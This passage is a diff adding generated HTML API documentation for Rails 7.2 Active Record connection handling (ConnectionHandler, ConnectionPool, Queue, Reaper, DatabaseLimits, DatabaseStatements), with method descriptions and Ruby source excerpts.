+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection_pool_list(role = nil) + +

+ + +
+

Returns the pools for a connection handler and given role. If :all is passed, all pools belonging to the connection handler will be returned.

+
+ + + +
+ Also aliased as: connection_pools +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb, line 93
+      def connection_pool_list(role = nil)
+        if role.nil? || role == :all
+          connection_name_to_pool_manager.values.flat_map { |m| m.pool_configs.map(&:pool) }
+        else
+          connection_name_to_pool_manager.values.flat_map { |m| m.pool_configs(role).map(&:pool) }
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection_pools(role = nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: connection_pool_list +
+ + + + +
+ +
+

+ + establish_connection(config, owner_name: Base, role: Base.current_role, shard: Base.current_shard, clobber: false) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb, line 113
+      def establish_connection(config, owner_name: Base, role: Base.current_role, shard: Base.current_shard, clobber: false)
+        owner_name = determine_owner_name(owner_name, config)
+
+        pool_config = resolve_pool_config(config, owner_name, role, shard)
+        db_config = pool_config.db_config
+
+        pool_manager = set_pool_manager(pool_config.connection_name)
+
+        # If there is an existing pool with the same values as the pool_config
+        # don't remove the connection. Connections should only be removed if we are
+        # establishing a connection on a class that is already connected to a different
+        # configuration.
+        existing_pool_config = pool_manager.get_pool_config(role, shard)
+
+        if !clobber && existing_pool_config && existing_pool_config.db_config == db_config
+          # Update the pool_config's connection class if it differs. This is used
+          # for ensuring that ActiveRecord::Base and the primary_abstract_class use
+          # the same pool. Without this granular swapping will not work correctly.
+          if owner_name.primary_class? && (existing_pool_config.connection_class != owner_name)
+            existing_pool_config.connection_class = owner_name
+          end
+
+          existing_pool_config.pool
+        else
+          disconnect_pool_from_pool_manager(pool_manager, role, shard)
+          pool_manager.set_pool_config(role, shard, pool_config)
+
+          payload = {
+            connection_name: pool_config.connection_name,
+            role: role,
+            shard: shard,
+            config: db_config.configuration_hash
+          }
+
+          ActiveSupport::Notifications.instrumenter.instrument("!connection.active_record", payload) do
+            pool_config.pool
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + flush_idle_connections!(role = nil) + +

+ + +
+

Disconnects all currently idle connections.

+ +

See ConnectionPool#flush! for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb, line 183
+      def flush_idle_connections!(role = nil)
+        each_connection_pool(role).each(&:flush!)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_connection_pool(connection_name, role: ActiveRecord::Base.current_role, shard: ActiveRecord::Base.current_shard) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb, line 203
+      def remove_connection_pool(connection_name, role: ActiveRecord::Base.current_role, shard: ActiveRecord::Base.current_shard)
+        if pool_manager = get_pool_manager(connection_name)
+          disconnect_pool_from_pool_manager(pool_manager, role, shard)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + retrieve_connection_pool(connection_name, role: ActiveRecord::Base.current_role, shard: ActiveRecord::Base.current_shard, strict: false) + +

+ + +
+

Retrieving the connection pool happens a lot, so we cache it in @connection_name_to_pool_manager. This makes retrieving the connection pool O(1) once the process is warm. When a connection is established or removed, we invalidate the cache.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb, line 212
+      def retrieve_connection_pool(connection_name, role: ActiveRecord::Base.current_role, shard: ActiveRecord::Base.current_shard, strict: false)
+        pool = get_pool_manager(connection_name)&.get_pool_config(role, shard)&.pool
+
+        if strict && !pool
+          if shard != ActiveRecord::Base.default_shard
+            message = "No connection pool for '#{connection_name}' found for the '#{shard}' shard."
+          elsif role != ActiveRecord::Base.default_role
+            message = "No connection pool for '#{connection_name}' found for the '#{role}' role."
+          else
+            message = "No connection pool for '#{connection_name}' found."
+          end
+
+          raise ConnectionNotEstablished, message
+        end
+
+        pool
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionPool.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionPool.html new file mode 100644 index 0000000000..9b31f083aa --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionPool.html @@ -0,0 +1,1309 @@ +--- +title: ActiveRecord::ConnectionAdapters::ConnectionPool +layout: default +--- +
+ +
+
+ +
+ +

Active Record Connection Pool

+ +

Connection pool base class for managing Active Record database connections.

+ +

Introduction

+ +

A connection pool synchronizes thread access to a limited number of database connections. The basic idea is that each thread checks out a database connection from the pool, uses that connection, and checks the connection back in. ConnectionPool is completely thread-safe, and will ensure that a connection cannot be used by two threads at the same time, as long as ConnectionPool’s contract is correctly followed. It will also handle cases in which there are more threads than connections: if all connections have been checked out, and a thread tries to checkout a connection anyway, then ConnectionPool will wait until some other thread has checked in a connection, or the checkout_timeout has expired.

+ +

Obtaining (checking out) a connection

+ +

Connections can be obtained and used from a connection pool in several ways:

+
  1. +

    Simply use ActiveRecord::Base.lease_connection. When you’re done with the connection(s) and wish it to be returned to the pool, you call ActiveRecord::Base.connection_handler.clear_active_connections!. This is the default behavior for Active Record when used in conjunction with Action Pack’s request handling cycle.

    +
  2. +

    Manually check out a connection from the pool with ActiveRecord::Base.connection_pool.checkout. You are responsible for returning this connection to the pool when finished by calling ActiveRecord::Base.connection_pool.checkin(connection).

    +
  3. +

    Use ActiveRecord::Base.connection_pool.with_connection(&block), which obtains a connection, yields it as the sole argument to the block, and returns it to the pool after the block completes.

    +
+ +

Connections in the pool are actually AbstractAdapter objects (or objects compatible with AbstractAdapter’s interface).

+ +

While a thread has a connection checked out from the pool using one of the above three methods, that connection will automatically be the one used by ActiveRecord queries executing on that thread. It is not required to explicitly pass the checked out connection to Rails models or queries, for example.

+ +

Options

+ +

There are several connection-pooling-related options that you can add to your database connection configuration:

+
  • +

    pool: maximum number of connections the pool may manage (default 5).

    +
  • +

    idle_timeout: number of seconds that a connection will be kept unused in the pool before it is automatically disconnected (default 300 seconds). Set this to zero to keep connections forever.

    +
  • +

    checkout_timeout: number of seconds to wait for a connection to become available before giving up and raising a timeout error (default 5 seconds).

    +
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+
    + +
  • + + MonitorMixin + +
  • + +
+ + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + async_executor
+ [RW] + automatic_reconnect
+ [RW] + checkout_timeout
+ [R] + db_config
+ [R] + pool_config
+ [R] + reaper
+ [R] + role
+ [R] + shard
+ [R] + size
+ + + + +

Class Public methods

+ +
+

+ + install_executor_hooks(executor = ActiveSupport::Executor) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 207
+        def install_executor_hooks(executor = ActiveSupport::Executor)
+          executor.register_hook(ExecutorHooks)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(pool_config) + +

+ + +
+

Creates a new ConnectionPool object. pool_config is a PoolConfig object which describes database connection information (e.g. adapter, host name, username, password, etc), as well as the maximum size for this ConnectionPool.

+ +

The default ConnectionPool maximum size is 5.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 227
+      def initialize(pool_config)
+        super()
+
+        @pool_config = pool_config
+        @db_config = pool_config.db_config
+        @role = pool_config.role
+        @shard = pool_config.shard
+
+        @checkout_timeout = db_config.checkout_timeout
+        @idle_timeout = db_config.idle_timeout
+        @size = db_config.pool
+
+        # This variable tracks the cache of threads mapped to reserved connections, with the
+        # sole purpose of speeding up the +connection+ method. It is not the authoritative
+        # registry of which thread owns which connection. Connection ownership is tracked by
+        # the +connection.owner+ attr on each +connection+ instance.
+        # The invariant works like this: if there is mapping of <tt>thread => conn</tt>,
+        # then that +thread+ does indeed own that +conn+. However, an absence of such
+        # mapping does not mean that the +thread+ doesn't own the said connection. In
+        # that case +conn.owner+ attr should be consulted.
+        # Access and modification of <tt>@leases</tt> does not require
+        # synchronization.
+        @leases = LeaseRegistry.new
+
+        @connections         = []
+        @automatic_reconnect = true
+
+        # Connection pool allows for concurrent (outside the main +synchronize+ section)
+        # establishment of new connections. This variable tracks the number of threads
+        # currently in the process of independently establishing connections to the DB.
+        @now_connecting = 0
+
+        @threads_blocking_new_connections = 0
+
+        @available = ConnectionLeasingQueue.new self
+        @pinned_connection = nil
+        @pinned_connections_depth = 0
+
+        @async_executor = build_async_executor
+
+        @schema_cache = nil
+
+        @reaper = Reaper.new(self, db_config.reaping_frequency)
+        @reaper.run
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + active_connection?() + +

+ + +
+

Returns true if there is an open connection being used for the current thread.

+ +

This method only works for connections that have been obtained through lease_connection or with_connection methods. Connections obtained through checkout will not be detected by active_connection?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 379
+      def active_connection?
+        connection_lease.connection
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + checkin(conn) + +

+ + +
+

Check-in a database connection back into the pool, indicating that you no longer need this connection.

+ +

conn: an AbstractAdapter object, which was obtained by earlier by calling checkout on this pool.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 573
+      def checkin(conn)
+        return if @pinned_connection.equal?(conn)
+
+        conn.lock.synchronize do
+          synchronize do
+            connection_lease.clear(conn)
+
+            conn._run_checkin_callbacks do
+              conn.expire
+            end
+
+            @available.add conn
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + checkout(checkout_timeout = @checkout_timeout) + +

+ + +
+

Check-out a database connection from the pool, indicating that you want to use it. You should call checkin when you no longer need this.

+ +

This is done by either returning and leasing existing connection, or by creating a new connection and leasing it.

+ +

If all connections are leased and the pool is at capacity (meaning the number of currently leased connections is greater than or equal to the size limit set), an ActiveRecord::ConnectionTimeoutError exception will be raised.

+ +

Returns: an AbstractAdapter object.

+ +

Raises:

+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 550
+      def checkout(checkout_timeout = @checkout_timeout)
+        if @pinned_connection
+          @pinned_connection.lock.synchronize do
+            synchronize do
+              @pinned_connection.verify!
+              # Any leased connection must be in @connections otherwise
+              # some methods like #connected? won't behave correctly
+              unless @connections.include?(@pinned_connection)
+                @connections << @pinned_connection
+              end
+            end
+          end
+          @pinned_connection
+        else
+          checkout_and_verify(acquire_connection(checkout_timeout))
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_reloadable_connections(raise_on_acquisition_timeout = true) + +

+ + +
+

Clears the cache which maps classes and re-connects connections that require reloading.

+ +

Raises:

+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 508
+      def clear_reloadable_connections(raise_on_acquisition_timeout = true)
+        with_exclusively_acquired_all_connections(raise_on_acquisition_timeout) do
+          synchronize do
+            @connections.each do |conn|
+              if conn.in_use?
+                conn.steal!
+                checkin conn
+              end
+              conn.disconnect! if conn.requires_reloading?
+            end
+            @connections.delete_if(&:requires_reloading?)
+            @available.clear
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_reloadable_connections!() + +

+ + +
+

Clears the cache which maps classes and re-connects connections that require reloading.

+ +

The pool first tries to gain ownership of all connections. If unable to do so within a timeout interval (default duration is spec.db_config.checkout_timeout * 2 seconds), then the pool forcefully clears the cache and reloads connections without any regard for other connection owning threads.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 532
+      def clear_reloadable_connections!
+        clear_reloadable_connections(false)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connected?() + +

+ + +
+

Returns true if a connection has already been opened.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 430
+      def connected?
+        synchronize { @connections.any?(&:connected?) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 320
+      def connection
+        ActiveRecord.deprecator.warn(<<~MSG)
+          ActiveRecord::ConnectionAdapters::ConnectionPool#connection is deprecated
+          and will be removed in Rails 8.0. Use #lease_connection instead.
+        MSG
+        lease_connection
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connections() + +

+ + +
+

Returns an array containing the connections currently in the pool. Access to the array does not require synchronization on the pool because the array is newly created and not retained by the pool.

+ +

However; this method bypasses the ConnectionPool’s thread-safe connection access pattern. A returned connection may be owned by another thread, unowned, or by happen-stance owned by the calling thread.

+ +

Calling methods on a connection without ownership is subject to the thread-safety guarantees of the underlying method. Many of the methods on connection adapter classes are inherently multi-thread unsafe.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 445
+      def connections
+        synchronize { @connections.dup }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disconnect(raise_on_acquisition_timeout = true) + +

+ + +
+

Disconnects all connections in the pool, and clears the pool.

+ +

Raises:

+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 455
+      def disconnect(raise_on_acquisition_timeout = true)
+        with_exclusively_acquired_all_connections(raise_on_acquisition_timeout) do
+          synchronize do
+            @connections.each do |conn|
+              if conn.in_use?
+                conn.steal!
+                checkin conn
+              end
+              conn.disconnect!
+            end
+            @connections = []
+            @leases.clear
+            @available.clear
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disconnect!() + +

+ + +
+

Disconnects all connections in the pool, and clears the pool.

+ +

The pool first tries to gain ownership of all connections. If unable to do so within a timeout interval (default duration is spec.db_config.checkout_timeout * 2 seconds), then the pool is forcefully disconnected without any regard for other connection owning threads.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 478
+      def disconnect!
+        disconnect(false)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + flush(minimum_idle = @idle_timeout) + +

+ + +
+

Disconnect all connections that have been idle for at least minimum_idle seconds. Connections currently checked out, or that were checked in less than minimum_idle seconds ago, are unaffected.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 646
+      def flush(minimum_idle = @idle_timeout)
+        return if minimum_idle.nil?
+
+        idle_connections = synchronize do
+          return if self.discarded?
+          @connections.select do |conn|
+            !conn.in_use? && conn.seconds_idle >= minimum_idle
+          end.each do |conn|
+            conn.lease
+
+            @available.delete conn
+            @connections.delete conn
+          end
+        end
+
+        idle_connections.each do |conn|
+          conn.disconnect!
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + flush!() + +

+ + +
+

Disconnect all currently idle connections. Connections currently checked out are unaffected.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 668
+      def flush!
+        reap
+        flush(-1)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lease_connection() + +

+ + +
+

Retrieve the connection associated with the current thread, or call checkout to obtain one if necessary.

+ +

lease_connection can be called any number of times; the connection is held in a cache keyed by a thread.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 310
+      def lease_connection
+        lease = connection_lease
+        lease.sticky = true
+        lease.connection ||= checkout
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reap() + +

+ + +
+

Recover lost connections for the pool. A lost connection can occur if a programmer forgets to checkin a connection at the end of a thread or a thread dies unexpectedly.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 623
+      def reap
+        stale_connections = synchronize do
+          return if self.discarded?
+          @connections.select do |conn|
+            conn.in_use? && !conn.owner.alive?
+          end.each do |conn|
+            conn.steal!
+          end
+        end
+
+        stale_connections.each do |conn|
+          if conn.active?
+            conn.reset!
+            checkin conn
+          else
+            remove conn
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + release_connection(existing_lease = nil) + +

+ + +
+

Signal that the thread is finished with the current connection. release_connection releases the connection-thread association and returns the connection to the pool.

+ +

This method only works for connections that have been obtained through lease_connection or with_connection methods, connections obtained through checkout will not be automatically released.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 391
+      def release_connection(existing_lease = nil)
+        if conn = connection_lease.release
+          checkin conn
+          return true
+        end
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove(conn) + +

+ + +
+

Remove a connection from the connection pool. The connection will remain open and active but will no longer be managed by this pool.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 591
+      def remove(conn)
+        needs_new_connection = false
+
+        synchronize do
+          remove_connection_from_thread_cache conn
+
+          @connections.delete conn
+          @available.delete conn
+
+          # @available.any_waiting? => true means that prior to removing this
+          # conn, the pool was at its max size (@connections.size == @size).
+          # This would mean that any threads stuck waiting in the queue wouldn't
+          # know they could checkout_new_connection, so let's do it for them.
+          # Because condition-wait loop is encapsulated in the Queue class
+          # (that in turn is oblivious to ConnectionPool implementation), threads
+          # that are "stuck" there are helpless. They have no way of creating
+          # new connections and are completely reliant on us feeding available
+          # connections into the Queue.
+          needs_new_connection = @available.any_waiting?
+        end
+
+        # This is intentionally done outside of the synchronized section as we
+        # would like not to hold the main mutex while checking out new connections.
+        # Thus there is some chance that needs_new_connection information is now
+        # stale, we can live with that (bulk_make_new_connections will make
+        # sure not to exceed the pool's @size limit).
+        bulk_make_new_connections(1) if needs_new_connection
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_cache() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 280
+      def schema_cache
+        @schema_cache ||= BoundSchemaReflection.new(schema_reflection, self)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_reflection=(schema_reflection) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 284
+      def schema_reflection=(schema_reflection)
+        pool_config.schema_reflection = schema_reflection
+        @schema_cache = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stat() + +

+ + +
+

Returns the connection pool’s usage statistic.

+ +
ActiveRecord::Base.connection_pool.stat # => { size: 15, connections: 1, busy: 1, dead: 0, idle: 0, waiting: 0, checkout_timeout: 5 }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 680
+      def stat
+        synchronize do
+          {
+            size: size,
+            connections: @connections.size,
+            busy: @connections.count { |c| c.in_use? && c.owner.alive? },
+            dead: @connections.count { |c| c.in_use? && !c.owner.alive? },
+            idle: @connections.count { |c| !c.in_use? },
+            waiting: num_waiting_in_queue,
+            checkout_timeout: checkout_timeout
+          }
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_connection(prevent_permanent_checkout: false) + +

+ + +
+

Yields a connection from the connection pool to the block. If no connection is already checked out by the current thread, a connection will be checked out from the pool, yielded to the block, and then returned to the pool when the block is finished. If a connection has already been checked out on the current thread, such as via lease_connection or with_connection, that existing connection will be the one yielded and it will not be returned to the pool automatically at the end of the block; it is expected that such an existing connection will be properly returned to the pool by the code that checked it out.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb, line 408
+      def with_connection(prevent_permanent_checkout: false)
+        lease = connection_lease
+        sticky_was = lease.sticky
+        lease.sticky = false if prevent_permanent_checkout
+
+        if lease.connection
+          begin
+            yield lease.connection
+          ensure
+            lease.sticky = sticky_was if prevent_permanent_checkout && !sticky_was
+          end
+        else
+          begin
+            yield lease.connection = checkout
+          ensure
+            lease.sticky = sticky_was if prevent_permanent_checkout && !sticky_was
+            release_connection(lease) unless lease.sticky
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionPool/Queue.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionPool/Queue.html new file mode 100644 index 0000000000..4fa702e0a7 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionPool/Queue.html @@ -0,0 +1,377 @@ +--- +title: ActiveRecord::ConnectionAdapters::ConnectionPool::Queue +layout: default +--- +
+ +
+
+ +
+ +

Active Record Connection Pool Queue

+ +

Threadsafe, fair, LIFO queue. Meant to be used by ConnectionPool with which it shares a Monitor.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(lock = Monitor.new) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue.rb, line 14
+        def initialize(lock = Monitor.new)
+          @lock = lock
+          @cond = @lock.new_cond
+          @num_waiting = 0
+          @queue = []
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add(element) + +

+ + +
+

Add element to the queue. Never blocks.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue.rb, line 37
+        def add(element)
+          synchronize do
+            @queue.push element
+            @cond.signal
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + any_waiting?() + +

+ + +
+

Test if any threads are currently waiting on the queue.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue.rb, line 22
+        def any_waiting?
+          synchronize do
+            @num_waiting > 0
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear() + +

+ + +
+

Remove all elements from the queue.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue.rb, line 52
+        def clear
+          synchronize do
+            @queue.clear
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(element) + +

+ + +
+

If element is in the queue, remove and return it, or nil.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue.rb, line 45
+        def delete(element)
+          synchronize do
+            @queue.delete(element)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + num_waiting() + +

+ + +
+

Returns the number of threads currently waiting on this queue.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue.rb, line 30
+        def num_waiting
+          synchronize do
+            @num_waiting
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + poll(timeout = nil) + +

+ + +
+

Remove the head of the queue.

+ +

If timeout is not given, remove and return the head of the queue if the number of available elements is strictly greater than the number of threads currently waiting (that is, don’t jump ahead in line). Otherwise, return nil.

+ +

If timeout is given, block if there is no element available, waiting up to timeout seconds for an element to become available.

+ +

Raises:

+ + +

becomes available within timeout seconds,

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue.rb, line 72
+        def poll(timeout = nil)
+          synchronize { internal_poll(timeout) }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionPool/Reaper.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionPool/Reaper.html new file mode 100644 index 0000000000..28562c36b8 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionPool/Reaper.html @@ -0,0 +1,183 @@ +--- +title: ActiveRecord::ConnectionAdapters::ConnectionPool::Reaper +layout: default +--- +
+ +
+
+ +
+ +

Active Record Connection Pool Reaper

+ +

Every frequency seconds, the reaper will call reap and flush on pool. A reaper instantiated with a zero frequency will never reap the connection pool.

+ +

Configure the frequency by setting reaping_frequency in your database YAML file (default 60 seconds).

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + frequency
+ [R] + pool
+ + + + +

Class Public methods

+ +
+

+ + new(pool, frequency) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool/reaper.rb, line 20
+        def initialize(pool, frequency)
+          @pool      = pool
+          @frequency = frequency
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + run() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_pool/reaper.rb, line 72
+        def run
+          return unless frequency && frequency > 0
+          self.class.register_pool(pool, frequency)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/DatabaseLimits.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/DatabaseLimits.html new file mode 100644 index 0000000000..1e8ffc3fc0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/DatabaseLimits.html @@ -0,0 +1,179 @@ +--- +title: ActiveRecord::ConnectionAdapters::DatabaseLimits +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + index_name_length() + +

+ + +
+

Returns the maximum length of an index name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb, line 21
+      def index_name_length
+        max_identifier_length
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + table_alias_length() + +

+ + +
+

Returns the maximum length of a table alias.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb, line 16
+      def table_alias_length
+        max_identifier_length
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + table_name_length() + +

+ + +
+

Returns the maximum length of a table name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb, line 11
+      def table_name_length
+        max_identifier_length
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html new file mode 100644 index 0000000000..3dac9d4d75 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html @@ -0,0 +1,1594 @@ +--- +title: ActiveRecord::ConnectionAdapters::DatabaseStatements +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 6
+      def initialize
+        super
+        reset_transaction
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add_transaction_record(record, ensure_finalize = true) + +

+ + +
+

Register a record with the current transaction so that its after_commit and after_rollback callbacks can be called.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 407
+      def add_transaction_record(record, ensure_finalize = true)
+        current_transaction.add_record(record, ensure_finalize)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + begin_db_transaction() + +

+ + +
+

Begins the transaction (and turns off auto-committing).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb, line 412
+      def begin_db_transaction()    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + begin_isolated_db_transaction(isolation) + +

+ + +
+

Begins the transaction with the isolation level set. Raises an error by default; adapters that support setting the isolation level should implement this method.

+
